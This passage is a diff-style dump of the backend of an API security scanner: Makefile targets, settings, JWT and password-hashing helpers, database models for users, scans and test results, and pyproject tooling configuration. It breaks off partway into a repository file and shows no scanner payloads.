# ==================== Syntax Checking (Ruff) ====================
|
||||
check:
|
||||
@echo "\033[1;3;4;96m======== Checking All Code ========\033[0m"
|
||||
@ruff check .
|
||||
$(call ASCII)
|
||||
|
||||
|
||||
# ==================== Syntax Checking (Ruff) ====================
|
||||
fix:
|
||||
@echo "\033[1;3;4;96m======== ruff fix All Code ========\033[0m"
|
||||
@ruff check . --fix
|
||||
$(call ASCII)
|
||||
|
||||
|
||||
# ======================= In Depth Linting (pylint)=======================
|
||||
pylint:
|
||||
@echo "\033[1;3;4;96m======== Linting All Code ========\033[0m"
|
||||
@pylint .
|
||||
$(call ASCII)
|
||||
|
||||
# ======================= Type Checking (mypy) =======================
|
||||
mypy:
|
||||
@echo "\033[1;3;4;96m======== Type Checking All Code ========\033[0m"
|
||||
@mypy .
|
||||
$(call ASCII)
|
||||
|
||||
|
||||
# ======================== Yapf Format =============================
|
||||
format:
|
||||
@echo "\033[1;3;4;96m======== Formatting only qa/ ========\033[0m"
|
||||
@yapf -i -r -vv models/ repositories/ schemas/ scanners/ core/ factory/
|
||||
$(call ASCII)
|
||||
|
||||
# ==================== Utilities ====================
|
||||
clean:
|
||||
@echo "\033[1;3;4;96m======== Cleaning Cache Files ========\033[0m"
|
||||
find . -type f -name "*.pyc" -delete
|
||||
find . -type d -name "__pycache__" -delete
|
||||
find . -type d -name ".pytest_cache" -exec rm -rf {} + 2>/dev/null || true
|
||||
find . -type d -name ".mypy_cache" -exec rm -rf {} + 2>/dev/null || true
|
||||
find . -type d -name ".ruff_cache" -exec rm -rf {} + 2>/dev/null || true
|
||||
find . -type f -name ".coverage" -delete
|
||||
$(call ASCII)
|
||||
|
||||
tree:
|
||||
@echo "\033[1;3;4;96m======== Creating Tree ========\033[0m"
|
||||
@tree -I 'node_modules|.git|*.log|dist|build|*.cache|certgames.egg-info|context|.venv|*.env|qa_context'
|
||||
$(call ASCII)
|
||||
|
||||
TODO:
|
||||
@echo "\033[1;3;4;96m======== Looking for TODO's ========\033[0m"
|
||||
@find . -name "*.py" -print0 | xargs -0 pylint --disable=all --enable=W0511 --msg-template='{path}:{line}:{column}: {msg_id}: {msg} ({symbol})' || true
|
||||
$(call ASCII)
|
||||
|
||||
|
|
@ -0,0 +1,4 @@
|
|||
"""
|
||||
ⒸAngelaMos | 2025
|
||||
API Security Scanner Backend Package
|
||||
"""
|
||||
|
|
@ -0,0 +1,103 @@
|
|||
"""
|
||||
ⒸAngelaMos | 2025
|
||||
All environment variables and constants are centralized here
|
||||
"""
|
||||
|
||||
from functools import lru_cache
|
||||
from pydantic_settings import BaseSettings, SettingsConfigDict
|
||||
|
||||
|
||||
class Settings(BaseSettings):
|
||||
"""
|
||||
Application settings loaded from environment variables.
|
||||
|
||||
All magic numbers and configuration values are defined here to avoid
|
||||
hardcoding throughout the application.
|
||||
"""
|
||||
|
||||
model_config = SettingsConfigDict(
|
||||
env_file="../.env", env_file_encoding="utf-8", case_sensitive=True
|
||||
)
|
||||
|
||||
# Application metadata
|
||||
APP_NAME: str = "API Security Tester"
|
||||
VERSION: str = "1.0.0"
|
||||
DEBUG: bool = False
|
||||
|
||||
# Database configuration
|
||||
DATABASE_URL: str
|
||||
POSTGRES_USER: str = "apiuser"
|
||||
POSTGRES_PASSWORD: str = "apipass"
|
||||
POSTGRES_DB: str = "apisecurity"
|
||||
POSTGRES_HOST: str = "localhost"
|
||||
POSTGRES_PORT: int = 5432
|
||||
|
||||
# Security - JWT
|
||||
SECRET_KEY: str
|
||||
ALGORITHM: str = "HS256"
|
||||
ACCESS_TOKEN_EXPIRE_MINUTES: int = 1440 # 24 hours
|
||||
|
||||
# Backend server
|
||||
BACKEND_HOST: str = "0.0.0.0"
|
||||
BACKEND_PORT: int = 8000
|
||||
|
||||
# CORS origins (comma-separated string)
|
||||
CORS_ORIGINS: str = "http://localhost:5173,http://localhost:3000"
|
||||
|
||||
# Scanner configuration - Default values
|
||||
DEFAULT_MAX_REQUESTS: int = 100
|
||||
DEFAULT_TIMEOUT_SECONDS: int = 10
|
||||
DEFAULT_RETRY_COUNT: int = 3
|
||||
|
||||
# Scanner rate limiting (outgoing requests)
|
||||
SCANNER_RATE_LIMIT_THRESHOLD: int = 100
|
||||
SCANNER_RATE_LIMIT_WINDOW_SECONDS: int = 60
|
||||
|
||||
# API endpoint rate limiting (incoming requests - slowapi format)
|
||||
API_RATE_LIMIT_LOGIN: str = "5/minute"
|
||||
API_RATE_LIMIT_REGISTER: str = "3/minute"
|
||||
API_RATE_LIMIT_SCAN: str = "10/minute"
|
||||
API_RATE_LIMIT_DEFAULT: str = "100/minute"
|
||||
|
||||
# Pagination
|
||||
DEFAULT_PAGINATION_LIMIT: int = 100
|
||||
MAX_PAGINATION_LIMIT: int = 1000
|
||||
|
||||
# Field validation constants
|
||||
PASSWORD_MIN_LENGTH: int = 8
|
||||
PASSWORD_MAX_LENGTH: int = 100
|
||||
EMAIL_MAX_LENGTH: int = 255
|
||||
URL_MAX_LENGTH: int = 2048
|
||||
|
||||
# Scanner timeouts and limits
|
||||
SCANNER_MAX_CONCURRENT_REQUESTS: int = 50
|
||||
SCANNER_CONNECTION_TIMEOUT: int = 30
|
||||
SCANNER_READ_TIMEOUT: int = 30
|
||||
|
||||
# Scanner request spacing and timing
|
||||
DEFAULT_JITTER_MS: int = 100
|
||||
DEFAULT_RETRY_WAIT_SECONDS: int = 60
|
||||
DEFAULT_BASELINE_SAMPLES: int = 10
|
||||
|
||||
@property
|
||||
def cors_origins_list(self) -> list[str]:
|
||||
"""
|
||||
Convert comma separated CORS origins string to list
|
||||
"""
|
||||
return [origin.strip() for origin in self.CORS_ORIGINS.split(",")]
|
||||
|
||||
|
||||
@lru_cache
|
||||
def get_settings() -> Settings:
|
||||
"""
|
||||
Get cached settings instance.
|
||||
|
||||
The @lru_cache decorator ensures settings are loaded only once
|
||||
and cached for the application lifetime.
|
||||
|
||||
Returns:
|
||||
Settings: Application settings instance
|
||||
"""
|
||||
return Settings()
|
||||
|
||||
settings = get_settings()
|
||||
|
|
@ -0,0 +1 @@
|
|||
"""Core modules for application infrastructure"""
|
||||
|
|
@ -0,0 +1,39 @@
|
|||
"""
|
||||
Database configuration and session management using SQLAlchemy.
|
||||
"""
|
||||
|
||||
from collections.abc import Generator
|
||||
|
||||
from sqlalchemy import create_engine
|
||||
from sqlalchemy.orm import Session, sessionmaker
|
||||
from sqlalchemy.ext.declarative import declarative_base
|
||||
|
||||
from ..config import settings
|
||||
|
||||
# Database engine
|
||||
engine = create_engine(
|
||||
settings.DATABASE_URL,
|
||||
pool_pre_ping = True,
|
||||
echo = settings.DEBUG,
|
||||
)
|
||||
|
||||
# Session factory
|
||||
SessionLocal = sessionmaker(
|
||||
autocommit = False,
|
||||
autoflush = False,
|
||||
bind = engine
|
||||
)
|
||||
|
||||
# Base class
|
||||
Base = declarative_base()
|
||||
|
||||
|
||||
def get_db() -> Generator[Session, None, None]:
|
||||
"""
|
||||
FastAPI dependency for database sessions
|
||||
"""
|
||||
db = SessionLocal()
|
||||
try:
|
||||
yield db
|
||||
finally:
|
||||
db.close()
|
||||
|
|
@ -0,0 +1,46 @@
|
|||
"""
|
||||
FastAPI dependency injection functions.
|
||||
"""
|
||||
|
||||
from fastapi import (
|
||||
Depends,
|
||||
HTTPException,
|
||||
status,
|
||||
)
|
||||
from fastapi.security import (
|
||||
HTTPAuthorizationCredentials,
|
||||
HTTPBearer,
|
||||
)
|
||||
from .security import decode_token
|
||||
|
||||
|
||||
# HTTP Bearer token authentication
|
||||
security = HTTPBearer()
|
||||
|
||||
|
||||
async def get_current_user(
|
||||
credentials: HTTPAuthorizationCredentials = Depends(security),
|
||||
) -> str:
|
||||
"""
|
||||
FastAPI dependency to extract and
|
||||
verify the current authenticated user.
|
||||
"""
|
||||
try:
|
||||
payload = decode_token(credentials.credentials)
|
||||
email: str | None = payload.get("sub")
|
||||
|
||||
if email is None:
|
||||
raise HTTPException(
|
||||
status_code = status.HTTP_401_UNAUTHORIZED,
|
||||
detail = "Invalid authentication credentials",
|
||||
headers = {"WWW-Authenticate": "Bearer"},
|
||||
)
|
||||
|
||||
return email
|
||||
|
||||
except ValueError:
|
||||
raise HTTPException(
|
||||
status_code = status.HTTP_401_UNAUTHORIZED,
|
||||
detail = "Invalid authentication credentials",
|
||||
headers = {"WWW-Authenticate": "Bearer"},
|
||||
) from None
|
||||
|
|
@ -0,0 +1,35 @@
|
|||
"""
|
||||
Enum definitions for the application for type safety
|
||||
"""
|
||||
|
||||
from enum import Enum
|
||||
|
||||
|
||||
class ScanStatus(str, Enum):
|
||||
"""
|
||||
Enum for scan result status
|
||||
"""
|
||||
VULNERABLE = "vulnerable"
|
||||
SAFE = "safe"
|
||||
ERROR = "error"
|
||||
|
||||
|
||||
class Severity(str, Enum):
|
||||
"""
|
||||
Enum for vulnerability severity levels
|
||||
"""
|
||||
CRITICAL = "critical"
|
||||
HIGH = "high"
|
||||
MEDIUM = "medium"
|
||||
LOW = "low"
|
||||
INFO = "info"
|
||||
|
||||
|
||||
class TestType(str, Enum):
|
||||
"""
|
||||
Enum for available security test types
|
||||
"""
|
||||
RATE_LIMIT = "rate_limit"
|
||||
AUTH = "auth"
|
||||
SQLI = "sqli"
|
||||
IDOR = "idor"
|
||||
|
|
@ -0,0 +1,74 @@
|
|||
"""
|
||||
Security utilities for password hashing and JWT token management.
|
||||
"""
|
||||
|
||||
from datetime import (
|
||||
datetime,
|
||||
timedelta,
|
||||
)
|
||||
from jose import JWTError, jwt
|
||||
from passlib.context import CryptContext
|
||||
|
||||
from config import settings
|
||||
|
||||
|
||||
# Password hashing
|
||||
pwd_context = CryptContext(schemes = ["bcrypt"], deprecated = "auto")
|
||||
|
||||
|
||||
def hash_password(password: str) -> str:
|
||||
"""
|
||||
Hash a plain text password using bcrypt
|
||||
"""
|
||||
return pwd_context.hash(password)
|
||||
|
||||
|
||||
def verify_password(
|
||||
plain_password: str,
|
||||
hashed_password: str
|
||||
) -> bool:
|
||||
"""
|
||||
Verify a plain text password against a hashed password
|
||||
"""
|
||||
return pwd_context.verify(plain_password, hashed_password)
|
||||
|
||||
|
||||
def create_access_token(
|
||||
data: dict[str,
|
||||
str],
|
||||
expires_delta: timedelta | None = None
|
||||
) -> str:
|
||||
"""
|
||||
Create a JWT access token
|
||||
"""
|
||||
to_encode = data.copy()
|
||||
|
||||
if expires_delta:
|
||||
expire = datetime.utcnow() + expires_delta
|
||||
else:
|
||||
expire = datetime.utcnow() + timedelta(
|
||||
minutes = settings.ACCESS_TOKEN_EXPIRE_MINUTES
|
||||
)
|
||||
|
||||
to_encode.update({"exp": expire})
|
||||
encoded_jwt = jwt.encode(
|
||||
to_encode,
|
||||
settings.SECRET_KEY,
|
||||
algorithm = settings.ALGORITHM
|
||||
)
|
||||
return encoded_jwt
|
||||
|
||||
|
||||
def decode_token(token: str) -> dict[str, str]:
|
||||
"""
|
||||
Decode and verify a JWT token
|
||||
"""
|
||||
try:
|
||||
payload = jwt.decode(
|
||||
token,
|
||||
settings.SECRET_KEY,
|
||||
algorithms = [settings.ALGORITHM]
|
||||
)
|
||||
return payload
|
||||
except JWTError as e:
|
||||
raise ValueError(f"Invalid token: {str(e)}") from e
|
||||
|
|
@ -0,0 +1,77 @@
|
|||
"""
|
||||
ⒸAngelaMos | 2025
|
||||
FastAPI application factory for main.py
|
||||
"""
|
||||
|
||||
from fastapi import FastAPI
|
||||
from fastapi.middleware.cors import CORSMiddleware
|
||||
|
||||
from slowapi import (
|
||||
Limiter,
|
||||
_rate_limit_exceeded_handler,
|
||||
)
|
||||
from slowapi.errors import RateLimitExceeded
|
||||
from slowapi.util import get_remote_address
|
||||
|
||||
from .config import settings
|
||||
from .core.database import Base, engine
|
||||
from .routes import auth_router, scans_router
|
||||
|
||||
|
||||
def create_app() -> FastAPI:
|
||||
"""
|
||||
Application factory function
|
||||
"""
|
||||
Base.metadata.create_all(bind=engine)
|
||||
|
||||
app = FastAPI(
|
||||
title=settings.APP_NAME,
|
||||
version=settings.VERSION,
|
||||
docs_url="/api/docs",
|
||||
redoc_url="/api/redoc",
|
||||
debug=settings.DEBUG,
|
||||
)
|
||||
|
||||
limiter = Limiter(key_func=get_remote_address)
|
||||
app.state.limiter = limiter
|
||||
app.add_exception_handler(RateLimitExceeded, _rate_limit_exceeded_handler)
|
||||
|
||||
app.add_middleware(
|
||||
CORSMiddleware,
|
||||
allow_origins=settings.cors_origins_list,
|
||||
allow_credentials=True,
|
||||
allow_methods=["*"],
|
||||
allow_headers=["*"],
|
||||
)
|
||||
|
||||
_register_routes(app)
|
||||
|
||||
return app
|
||||
|
||||
|
||||
|
||||
def _register_routes(app: FastAPI) -> None:
|
||||
"""
|
||||
Register all application routes
|
||||
"""
|
||||
@app.get("/")
|
||||
def root() -> dict[str, str]:
|
||||
"""
|
||||
API root endpoint
|
||||
"""
|
||||
return {
|
||||
"app": settings.APP_NAME,
|
||||
"version": settings.VERSION,
|
||||
"status": "healthy",
|
||||
}
|
||||
|
||||
@app.get("/health")
|
||||
def health_check() -> dict[str, str]:
|
||||
"""
|
||||
Health check endpoint
|
||||
"""
|
||||
return {"status": "healthy"}
|
||||
|
||||
app.include_router(auth_router)
|
||||
app.include_router(scans_router)
|
||||
|
||||
|
|
@ -0,0 +1,20 @@
|
|||
"""
|
||||
ⒸAngelaMos | 2025
|
||||
FastAPI application entry point
|
||||
"""
|
||||
|
||||
import uvicorn
|
||||
|
||||
from .config import settings
|
||||
from .factory import create_app
|
||||
|
||||
|
||||
app = create_app()
|
||||
|
||||
if __name__ == "__main__":
|
||||
uvicorn.run(
|
||||
"main:app",
|
||||
host=settings.BACKEND_HOST,
|
||||
port=settings.BACKEND_PORT,
|
||||
reload=settings.DEBUG,
|
||||
)
|
||||
|
|
@ -0,0 +1,78 @@
|
|||
"""
|
||||
ⒸAngelaMos | 2025
|
||||
Base model class
|
||||
Common fields and methods for all models
|
||||
"""
|
||||
|
||||
from typing import Any
|
||||
from sqlalchemy import (
|
||||
Column,
|
||||
DateTime,
|
||||
Integer,
|
||||
)
|
||||
from datetime import datetime, UTC
|
||||
from sqlalchemy.ext.declarative import declared_attr
|
||||
|
||||
from ..core.database import Base
|
||||
|
||||
|
||||
class BaseModel(Base):
|
||||
"""
|
||||
Abstract base model with common fields and methods
|
||||
All models inherit from this class
|
||||
"""
|
||||
__abstract__ = True
|
||||
|
||||
id = Column(
|
||||
Integer,
|
||||
primary_key = True,
|
||||
index = True,
|
||||
autoincrement = True
|
||||
)
|
||||
created_at = Column(
|
||||
DateTime(timezone = True),
|
||||
default = lambda: datetime.now(UTC)
|
||||
)
|
||||
updated_at = Column(
|
||||
DateTime(timezone = True),
|
||||
default = lambda: datetime.now(UTC),
|
||||
onupdate = lambda: datetime.now(UTC),
|
||||
)
|
||||
|
||||
@declared_attr
|
||||
def __tablename__(cls) -> str:
|
||||
"""
|
||||
Auto-generate table name from class name
|
||||
"""
|
||||
return cls.__name__.lower()
|
||||
|
||||
def to_dict(self) -> dict[str, Any]:
|
||||
"""
|
||||
Convert model instance to dictionary
|
||||
|
||||
Returns:
|
||||
dict: Dictionary representation of the model
|
||||
"""
|
||||
return {
|
||||
column.name: getattr(self,
|
||||
column.name)
|
||||
for column in self.__table__.columns
|
||||
}
|
||||
|
||||
def update(self, **kwargs: Any) -> None:
|
||||
"""
|
||||
Update model fields from keyword arguments
|
||||
|
||||
Args:
|
||||
**kwargs: Field names and values to update
|
||||
"""
|
||||
for key, value in kwargs.items():
|
||||
if hasattr(self, key):
|
||||
setattr(self, key, value)
|
||||
self.updated_at = datetime.now(UTC)
|
||||
|
||||
def __repr__(self) -> str:
|
||||
"""
|
||||
String representation of model
|
||||
"""
|
||||
return f"<{self.__class__.__name__}(id={self.id})>"
|
||||
|
|
@ -0,0 +1,83 @@
|
|||
"""
|
||||
ⒸAngelaMos | 2025
|
||||
Scan model for storing security scan metadata
|
||||
"""
|
||||
|
||||
from datetime import (
|
||||
UTC,
|
||||
datetime,
|
||||
)
|
||||
from sqlalchemy import (
|
||||
Column,
|
||||
DateTime,
|
||||
ForeignKey,
|
||||
Integer,
|
||||
String,
|
||||
)
|
||||
from sqlalchemy.orm import relationship
|
||||
|
||||
from ..config import settings
|
||||
from .Base import BaseModel
|
||||
|
||||
|
||||
class Scan(BaseModel):
|
||||
"""
|
||||
Stores metadata about scans performed on target URLs
|
||||
"""
|
||||
__tablename__ = "scans"
|
||||
|
||||
user_id = Column(
|
||||
Integer,
|
||||
ForeignKey("users.id",
|
||||
ondelete = "CASCADE"),
|
||||
nullable = False,
|
||||
index = True,
|
||||
)
|
||||
target_url = Column(
|
||||
String(settings.URL_MAX_LENGTH),
|
||||
nullable = False,
|
||||
)
|
||||
scan_date = Column(
|
||||
DateTime(timezone = True),
|
||||
default = lambda: datetime.now(UTC),
|
||||
nullable = False,
|
||||
)
|
||||
|
||||
user = relationship("User", backref = "scans")
|
||||
test_results = relationship(
|
||||
"TestResult",
|
||||
back_populates = "scan",
|
||||
cascade = "all, delete-orphan",
|
||||
)
|
||||
|
||||
def __repr__(self) -> str:
|
||||
"""
|
||||
String representation of Scan
|
||||
"""
|
||||
return f"<Scan(id={self.id}, target_url={self.target_url}, user_id={self.user_id})>"
|
||||
|
||||
@property
|
||||
def has_vulnerabilities(self) -> bool:
|
||||
"""
|
||||
Check if scan found any vulnerabilities
|
||||
|
||||
Returns:
|
||||
bool: True if any test result is vulnerable
|
||||
"""
|
||||
return any(
|
||||
result.status == "vulnerable"
|
||||
for result in self.test_results
|
||||
)
|
||||
|
||||
@property
|
||||
def vulnerability_count(self) -> int:
|
||||
"""
|
||||
Count of vulnerabilities found in this scan
|
||||
|
||||
Returns:
|
||||
int: Number of vulnerable test results
|
||||
"""
|
||||
return sum(
|
||||
1 for result in self.test_results
|
||||
if result.status == "vulnerable"
|
||||
)
|
||||
|
|
@ -0,0 +1,89 @@
|
|||
"""
|
||||
ⒸAngelaMos | 2025
|
||||
TestResult model for storing individual security test results
|
||||
"""
|
||||
|
||||
from sqlalchemy import (
|
||||
Column,
|
||||
Enum,
|
||||
ForeignKey,
|
||||
Integer,
|
||||
Text,
|
||||
)
|
||||
from sqlalchemy.orm import relationship
|
||||
from sqlalchemy.dialects.postgresql import JSON
|
||||
|
||||
from ..core.enums import (
|
||||
ScanStatus,
|
||||
Severity,
|
||||
TestType,
|
||||
)
|
||||
from .Base import BaseModel
|
||||
|
||||
|
||||
class TestResult(BaseModel):
|
||||
"""
|
||||
Stores individual test results for each security scan
|
||||
"""
|
||||
__tablename__ = "test_results"
|
||||
|
||||
scan_id = Column(
|
||||
Integer,
|
||||
ForeignKey("scans.id",
|
||||
ondelete = "CASCADE"),
|
||||
nullable = False,
|
||||
index = True,
|
||||
)
|
||||
test_name = Column(
|
||||
Enum(TestType),
|
||||
nullable = False,
|
||||
index = True,
|
||||
)
|
||||
status = Column(
|
||||
Enum(ScanStatus),
|
||||
nullable = False,
|
||||
index = True,
|
||||
)
|
||||
severity = Column(
|
||||
Enum(Severity),
|
||||
nullable = False,
|
||||
index = True,
|
||||
)
|
||||
details = Column(Text, nullable = False)
|
||||
evidence_json = Column(JSON, nullable = False, default = dict)
|
||||
recommendations_json = Column(
|
||||
JSON,
|
||||
nullable = False,
|
||||
default = list
|
||||
)
|
||||
|
||||
scan = relationship("Scan", back_populates = "test_results")
|
||||
|
||||
def __repr__(self) -> str:
|
||||
"""
|
||||
String representation of TestResult
|
||||
"""
|
||||
return (
|
||||
f"<TestResult(id={self.id}, test_name={self.test_name.value}, "
|
||||
f"status={self.status.value})>"
|
||||
)
|
||||
|
||||
@property
|
||||
def is_vulnerable(self) -> bool:
|
||||
"""
|
||||
Check if this test result indicates a vulnerability
|
||||
|
||||
Returns:
|
||||
bool: True if status is vulnerable
|
||||
"""
|
||||
return self.status == ScanStatus.VULNERABLE
|
||||
|
||||
@property
|
||||
def is_high_severity(self) -> bool:
|
||||
"""
|
||||
Check if this is a high severity vulnerability
|
||||
|
||||
Returns:
|
||||
bool: True if severity is high
|
||||
"""
|
||||
return self.severity == Severity.HIGH
|
||||
|
|
@ -0,0 +1,45 @@
|
|||
"""
|
||||
ⒸAngelaMos | 2025
|
||||
User model for authentication and user management
|
||||
"""
|
||||
|
||||
from sqlalchemy import (
|
||||
Boolean,
|
||||
Column,
|
||||
String,
|
||||
)
|
||||
|
||||
from ..config import settings
|
||||
from .Base import BaseModel
|
||||
|
||||
|
||||
class User(BaseModel):
|
||||
"""
|
||||
Stores authentication credentials and user information
|
||||
"""
|
||||
__tablename__ = "users"
|
||||
|
||||
email = Column(
|
||||
String(settings.EMAIL_MAX_LENGTH),
|
||||
unique = True,
|
||||
nullable = False,
|
||||
index = True,
|
||||
)
|
||||
hashed_password = Column(String, nullable = False)
|
||||
is_active = Column(Boolean, default = True, nullable = False)
|
||||
|
||||
def __repr__(self) -> str:
|
||||
"""
|
||||
String representation of User
|
||||
"""
|
||||
return f"<User(id={self.id}, email={self.email})>"
|
||||
|
||||
@property
|
||||
def is_authenticated(self) -> bool:
|
||||
"""
|
||||
Check if user is active and authenticated
|
||||
|
||||
Returns:
|
||||
bool: True if user is active
|
||||
"""
|
||||
return self.is_active
|
||||
|
|
@ -0,0 +1,18 @@
|
|||
"""
|
||||
ⒸAngelaMos | 2025
|
||||
Database models package
|
||||
"""
|
||||
|
||||
from .Base import BaseModel
|
||||
|
||||
from .User import User
|
||||
from .Scan import Scan
|
||||
from .TestResult import TestResult
|
||||
|
||||
|
||||
__all__ = [
|
||||
"BaseModel",
|
||||
"User",
|
||||
"Scan",
|
||||
"TestResult",
|
||||
]
|
||||
|
|
@ -0,0 +1,257 @@
|
|||
[project]
|
||||
name = "api-security-scanner-backend"
|
||||
version = "1.0.0"
|
||||
description = "Backend API for security testing tool"
|
||||
requires-python = ">=3.11"
|
||||
authors = [ # Replace my Name & Email Here
|
||||
{name = "CarerPerez-dev", email = "support@certgames.com"}
|
||||
]
|
||||
readme = "README.md"
|
||||
license = {text = "MIT"}
|
||||
|
||||
dependencies = [
|
||||
# FastAPI and server
|
||||
"fastapi==0.121.1",
|
||||
"uvicorn[standard]==0.38.0",
|
||||
"python-multipart===0.0.20",
|
||||
# Database
|
||||
"sqlalchemy==2.0.44",
|
||||
"psycopg2-binary==2.9.11",
|
||||
"alembic==1.17.1",
|
||||
# Security
|
||||
"slowapi==0.1.9",
|
||||
"passlib[bcrypt]==1.7.4",
|
||||
"python-jose[cryptography]==3.5.0",
|
||||
"bcrypt==4.3.0",
|
||||
# HTTP client for scanners
|
||||
"httpx==0.28.1",
|
||||
"aiohttp==3.13.2",
|
||||
# Settings management
|
||||
"pydantic==2.12.4",
|
||||
"pydantic-settings==2.11.0",
|
||||
"python-dotenv==1.2.1",
|
||||
# Utilities
|
||||
"email-validator==2.3.0",
|
||||
]
|
||||
|
||||
[project.optional-dependencies]
|
||||
dev = [
|
||||
"pylint==3.3.8",
|
||||
"pre-commit==4.3.0",
|
||||
"pip-audit==2.9.0",
|
||||
"ruff==0.14.4",
|
||||
"mypy==1.18.2",
|
||||
"bandit[toml]==1.8.6",
|
||||
"yapf==0.43.0",
|
||||
"pylint-pydantic==0.3.5",
|
||||
"pylint-per-file-ignores==1.4.0",
|
||||
"pylint-plugin-utils==0.9.0",
|
||||
"pylint-pydantic==0.3.5"
|
||||
]
|
||||
|
||||
[build-system]
|
||||
requires = ["setuptools>=80.9.0", "wheel>=0.45.1"]
|
||||
build-backend = "setuptools.build_meta"
|
||||
|
||||
|
||||
[tool.setuptools]
|
||||
py-modules = ["main", "config", "factory"]
|
||||
|
||||
[tool.ruff]
|
||||
target-version = "py311"
|
||||
line-length = 95
|
||||
indent-width = 4
|
||||
exclude = [
|
||||
".bzr",
|
||||
".direnv",
|
||||
".eggs",
|
||||
".git",
|
||||
".git-rewrite",
|
||||
".hg",
|
||||
".ipynb_checkpoints",
|
||||
".mypy_cache",
|
||||
".nox",
|
||||
".pyenv",
|
||||
".pytest_cache",
|
||||
".pytype",
|
||||
".ruff_cache",
|
||||
".svn",
|
||||
".tox",
|
||||
".venv",
|
||||
"__pycache__",
|
||||
"_build",
|
||||
"build",
|
||||
"dist",
|
||||
"site-packages",
|
||||
"venv",
|
||||
"migrations",
|
||||
"devtools",
|
||||
"main.py",
|
||||
]
|
||||
|
||||
[tool.ruff.lint]
|
||||
select = [
|
||||
"E1", # Indentation
|
||||
"E4", # Imports
|
||||
"E7", # Statement
|
||||
"F", # Pyflakes (all F rules)
|
||||
"W292", # No newline at end of file
|
||||
"W605", # Invalid escape sequence
|
||||
"B", # Bugbear
|
||||
"C4", # Comprehensions
|
||||
"UP", # Pyupgrade
|
||||
"ARG", # Unused arguments
|
||||
"SIM", # Simplify
|
||||
"I", # isort rules
|
||||
"F401", # Unused imports
|
||||
"F811", # Redefined imports
|
||||
"F821", # Undefined name
|
||||
]
|
||||
|
||||
ignore = [
|
||||
"E501", # Line length (handled by formatter)
|
||||
"W291", # Trailing whitespace
|
||||
"W293", # Blank line contains whitespace
|
||||
"I001", # Import sorting
|
||||
"RUF001", # Ambiguous unicode
|
||||
"RUF002", # Docstring with ambiguous unicode
|
||||
]
|
||||
|
||||
[tool.ruff.lint.per-file-ignores]
|
||||
"__init__.py" = ["ALL"]
|
||||
"core/dependencies.py" = ["B008"]
|
||||
"routes/auth.py" = ["ARG001", "B008"]
|
||||
"routes/scans.py" = ["ARG001", "B008"]
|
||||
"scanners/base_scanner.py" = ["B010"]
|
||||
|
||||
|
||||
[tool.mypy]
|
||||
python_version = "3.11"
|
||||
mypy_path = "backend"
|
||||
namespace_packages = true
|
||||
explicit_package_bases = true
|
||||
warn_return_any = false
|
||||
warn_unused_configs = true
|
||||
disallow_untyped_defs = false
|
||||
disallow_incomplete_defs = true
|
||||
ignore_missing_imports = true
|
||||
check_untyped_defs = false
|
||||
no_implicit_optional = true
|
||||
warn_redundant_casts = true
|
||||
warn_unused_ignores = true
|
||||
warn_no_return = true
|
||||
show_error_codes = true
|
||||
show_column_numbers = true
|
||||
pretty = true
|
||||
|
||||
exclude = [
|
||||
".venv",
|
||||
"venv",
|
||||
]
|
||||
|
||||
[[tool.mypy.overrides]]
|
||||
module = [
|
||||
"models.*",
|
||||
"repositories.*",
|
||||
"core.security",
|
||||
"core.database",
|
||||
"scanners.*",
|
||||
"schemas.*",
|
||||
"services.*",
|
||||
"routes.*",
|
||||
"factory",
|
||||
"config",
|
||||
]
|
||||
disable_error_code = [
|
||||
"no-any-return",
|
||||
"assignment",
|
||||
"return-value",
|
||||
"arg-type",
|
||||
"var-annotated",
|
||||
"index",
|
||||
"attr-defined",
|
||||
"operator",
|
||||
"union-attr",
|
||||
"call-arg",
|
||||
"dict-item",
|
||||
]
|
||||
|
||||
|
||||
[tool.pylint.main]
|
||||
py-version = "3.11"
|
||||
jobs = 4
|
||||
load-plugins = [
|
||||
"pylint_pydantic",
|
||||
"pylint_per_file_ignores"
|
||||
]
|
||||
persistent = true
|
||||
suggestion-mode = true
|
||||
ignore = [
|
||||
"venv",
|
||||
".venv",
|
||||
"__pycache__",
|
||||
"build",
|
||||
"dist",
|
||||
".git",
|
||||
".pytest_cache",
|
||||
".mypy_cache",
|
||||
".ruff_cache",
|
||||
]
|
||||
ignore-paths = [
|
||||
"^venv/.*",
|
||||
"^.venv/.*",
|
||||
"^build/.*",
|
||||
"^dist/.*",
|
||||
]
|
||||
[tool.pylint.type-check]
|
||||
generated-members = [
|
||||
"objects",
|
||||
"id",
|
||||
"get_or_create",
|
||||
"DoesNotExist",
|
||||
"MultipleObjectsReturned",
|
||||
"objects.get_or_create"
|
||||
]
|
||||
|
||||
[tool.pylint.messages_control]
|
||||
disable = [
|
||||
"C0111", # missing-docstring
|
||||
"C0103", # invalid-name
|
||||
"R0903", # too-few-public-methods
|
||||
"W0511", # fixme
|
||||
"W0622", # redefined-builtin
|
||||
"W0612", # unused-variable (handled by ruff)
|
||||
"W0613", # unused-argument (handled by ruff)
|
||||
"C0301", # Line too long
|
||||
"C0302", # Too many lines
|
||||
"C0411", # Wrong import order
|
||||
"C0305", # Trailing newlines
|
||||
"C0303", # Trailing whitespace
|
||||
"C0304", # Final newline missing
|
||||
"R0801", # Similar lines (want exact duplicates only)
|
||||
]
|
||||
|
||||
per-file-ignores = [
|
||||
"schemas/scan_schemas.py:C0415",
|
||||
"scanners/rate_limit_scanner.py:W0718",
|
||||
"scanners/auth_scanner.py:W0718",
|
||||
"scanners/sqli_scanner.py:W0718",
|
||||
"scanners/idor_scanner.py:W0718",
|
||||
"services/scan_service.py:W0718",
|
||||
"models/Base.py:E0213",
|
||||
]
|
||||
|
||||
[tool.pylint.design]
|
||||
max-args = 10
|
||||
max-attributes = 12
|
||||
max-branches = 13
|
||||
max-locals = 20
|
||||
max-statements = 40
|
||||
|
||||
|
||||
[tool.bandit]
|
||||
exclude_dirs = [
|
||||
".venv",
|
||||
"venv",
|
||||
]
|
||||
skips = ["B104"]
|
||||
|
|
@ -0,0 +1,12 @@
|
|||
"""Database repository layer for data access operations"""
|
||||
|
||||
from .user_repository import UserRepository
|
||||
from .scan_repository import ScanRepository
|
||||
from .test_result_repository import TestResultRepository
|
||||
|
||||
|
||||
__all__ = [
|
||||
"UserRepository",
|
||||
"ScanRepository",
|
||||
"TestResultRepository",
|
||||
]
|
||||
|
|
@ -0,0 +1,159 @@
|
|||
"""
|
||||
ⒸAngelaMos | 2025
|
||||
Handles all Scan model database queries
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
from datetime import UTC, datetime
|
||||
from sqlalchemy.orm import (
|
||||
Session,
|
||||
joinedload,
|
||||
)
|
||||
|
||||
from ..config import settings
|
